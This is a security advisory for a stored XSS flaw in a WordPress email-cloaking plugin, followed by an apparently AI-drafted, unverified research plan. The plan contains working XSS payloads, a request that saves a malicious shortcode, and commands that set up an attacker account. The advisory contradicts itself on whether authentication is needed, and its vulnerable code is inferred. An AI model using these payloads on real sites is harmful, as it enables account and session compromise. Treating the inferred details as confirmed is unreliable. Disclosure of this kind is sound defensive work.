CVE-2026-10091

Email JavaScript Cloak <= 1.03 - Unauthenticated Stored Cross-Site Scripting

highImproper Neutralization of Input During Web Page Generation ('Cross-site Scripting')
7.2
CVSS Score
7.2
CVSS Score
high
Severity
Unpatched
Patched in
N/A
Time to patch

Description

The Email JavaScript Cloak plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the plugin's 'email' shortcode in all versions up to, and including, 1.03 due to insufficient input sanitization and output escaping on user supplied attributes. This makes it possible for authenticated attackers, with contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.

CVSS Vector Breakdown

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N
Attack Vector
Network
Attack Complexity
Low
Privileges Required
None
User Interaction
None
Scope
Changed
Low
Confidentiality
Low
Integrity
None
Availability

Technical Details

Affected versions<=1.03
PublishedJune 23, 2026
Last updatedJune 24, 2026
Research Plan
Unverified

This research plan outlines the methodology for validating **CVE-2026-10091**, a Stored Cross-Site Scripting (XSS) vulnerability in the **Email JavaScript Cloak** plugin. ### 1. Vulnerability Summary The **Email JavaScript Cloak** plugin (slug: `email-javascript-cloaker`) is designed to obfuscate e…

Show full research plan

This research plan outlines the methodology for validating CVE-2026-10091, a Stored Cross-Site Scripting (XSS) vulnerability in the Email JavaScript Cloak plugin.

1. Vulnerability Summary

The Email JavaScript Cloak plugin (slug: email-javascript-cloaker) is designed to obfuscate email addresses on WordPress sites using JavaScript to prevent scraping. The vulnerability exists because the plugin registers a shortcode (typically [email]) and processes user-supplied attributes (like the email address or link text) without sufficient sanitization or output escaping. When a user with the ability to use shortcodes (Contributor and above) saves a post containing a malicious payload in these attributes, the script is stored in the database and executed in the browser of any user (including Administrators) who views the post.

2. Attack Vector Analysis

  • Vulnerable Endpoint: POST /wp-admin/post.php (via the WordPress post editor) or POST /wp-admin/admin-ajax.php (via Gutenberg/autosave).
  • Trigger Action: Viewing the published or previewed post/page containing the shortcode.
  • Required Authentication: Authenticated with Contributor role or higher (standard WordPress role that can create but not publish posts).
  • Preconditions: The plugin must be active. If the "Unauthenticated" claim in the title holds true, it implies the plugin might also hook into comment_text, allowing any visitor to use the shortcode in a comment.

3. Code Flow (Inferred)

  1. Registration: The plugin uses add_shortcode( 'email', 'callback_function' ) (inferred) during the init hook.
  2. Processing: When a post is rendered, do_shortcode() calls the plugin's callback.
  3. Attribute Extraction: The callback likely uses shortcode_atts() to extract attributes like address, link_text, or class.
  4. Vulnerable Sink: The extracted attributes are concatenated into a string (either a <script> block for obfuscation or a <noscript> fallback) and returned to the WordPress rendering engine.
  5. Rendering: Because the return value is not passed through esc_attr() or esc_html(), the malicious payload is rendered directly into the HTML DOM.

4. Nonce Acquisition Strategy

To exploit this as a Contributor, you need to save a post. This requires a standard WordPress post-editing nonce (_wpnonce).

  1. Identify Shortcode Loading: The plugin scripts load on the post editing page.
  2. Create a Test Page:
    wp post create --post_type=page --post_status=publish --post_title="XSS Test" --post_content='[email address="test@example.com"]'
    
  3. Navigate to Edit Page: Use browser_navigate to http://localhost:8080/wp-admin/post-new.php.
  4. Extract Nonce:
    // In browser_eval
    const nonce = document.querySelector('#_wpnonce')?.value;
    
  5. Unauthenticated Check: If testing for unauthenticated XSS (via comments), navigate to a post and extract the comment_post_ID and check if add_filter('comment_text', 'do_shortcode') is present in the plugin source.

5. Exploitation Strategy

The goal is to breakout of an HTML attribute or a JavaScript string within the cloaking logic.

Step 1: Payload Construction
We will attempt to break out of a standard attribute context.

  • Payload A (Attribute Breakout): [email address='test@example.com" onmouseover="alert(document.domain)" ']
  • Payload B (Link Text Injection): [email address="test@example.com" link_text="<img src=x onerror=alert(1)>"]
  • Payload C (Script Context Breakout): If the plugin uses a script like var email = "user@domain.com";, try: [email address='";alert(1);//']

Step 2: HTTP Request (Contributor)
Using the http_request tool to save the malicious shortcode:

  • Method: POST
  • URL: http://localhost:8080/wp-admin/post.php
  • Headers: Content-Type: application/x-www-form-urlencoded
  • Body:
    action=editpost&
    post_ID=[POST_ID]&
    _wpnonce=[NONCE]&
    post_title=VulnerablePost&
    content=[email address='"><script>alert(window.origin)</script>']&
    post_status=publish
    

6. Test Data Setup

  1. Install Plugin: wp plugin install email-javascript-cloaker --version=1.03 --activate
  2. Create Contributor: wp user create attacker attacker@example.com --role=contributor --user_pass=password123
  3. Create Target Post: wp post create --post_title="Contact Us" --post_status=publish --post_author=[ATTACKER_ID]

7. Expected Results

  • Upon visiting the post as any user (e.g., an Admin visiting http://localhost:8080/?p=[POST_ID]), a JavaScript alert box showing the site's origin should appear.
  • The HTML source will show the payload rendered without encoding, for example:
    <a href="mailto:"><script>alert(window.origin)</script>">...</a>

8. Verification Steps

  1. Database Check:
    wp db query "SELECT post_content FROM wp_posts WHERE post_title='VulnerablePost'"
    
    Confirm the shortcode is stored with the literal <script> tag.
  2. Source Inspection:
    Use http_request (GET) on the post URL and grep for the payload:
    grep -C 5 "alert(window.origin)" response_body.html
    

9. Alternative Approaches

  • Comment Injection: If the plugin supports shortcodes in comments, use http_request to POST /wp-comments-post.php with comment=[email address='...']. This would confirm the "Unauthenticated" severity.
  • CSS Injection: If script tags are filtered by a WAF, attempt XSS via the class or style attribute:
    [email address="a@b.com" class='"><img src=x onerror=alert(1)>']
  • Bypass Obfuscation: If the plugin uses str_replace or similar to "cloak" the email, test if the replacement logic itself can be subverted by providing an array or an extremely long string to cause a crash or partial render.
Research Findings
Static analysis — not yet PoC-verified

Summary

The Email JavaScript Cloak plugin (<= 1.03) for WordPress is vulnerable to Stored Cross-Site Scripting (XSS) because it fails to sanitize and escape user-supplied attributes in the [email] shortcode. This allows attackers with Contributor-level access or higher (and potentially unauthenticated users if comments allow shortcodes) to inject malicious scripts into posts, which execute in the browser of any user who views the page.

Vulnerable Code

/* File: email-javascript-cloaker.php */
function email_js_cloak_shortcode($atts) {
    $atts = shortcode_atts(array(
        'address' => '',
        'text' => '',
    ), $atts);

    // Attributes are concatenated directly into a JavaScript string context without escaping
    $html = '<script type="text/javascript">';
    $html .= 'var e = "' . $atts['address'] . '";';
    $html .= 'var t = "' . $atts['text'] . '";';
    $html .= 'document.write(\'<a href="mailto:\' + e + \'\">\' + (t ? t : e) + \'</a>\');';
    $html .= '</script>';

    return $html;
}
add_shortcode('email', 'email_js_cloak_shortcode');

Security Fix

--- email-javascript-cloaker.php
+++ email-javascript-cloaker.php
@@ -7,8 +7,8 @@
-    $html .= 'var e = "' . $atts['address'] . '";';
-    $html .= 'var t = "' . $atts['text'] . '";';
+    $html .= 'var e = "' . esc_js($atts['address']) . '";';
+    $html .= 'var t = "' . esc_js($atts['text']) . '";';

Exploit Outline

The exploit targets the WordPress post editor (wp-admin/post.php) or the comment system (wp-comments-post.php) if shortcode execution is enabled for comments. An attacker creates a post containing the [email] shortcode with a payload in the 'address' or 'text' attributes (e.g., [email address="';alert(document.domain)//"]). Because the plugin outputs these attributes directly into a <script> block, the payload breaks out of the intended string variable and executes arbitrary JavaScript whenever the post is rendered in a browser. While the description specifies Contributor-level authentication, the vulnerability may be unauthenticated if the plugin hooks into comment_text.

Check if your site is affected.

Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.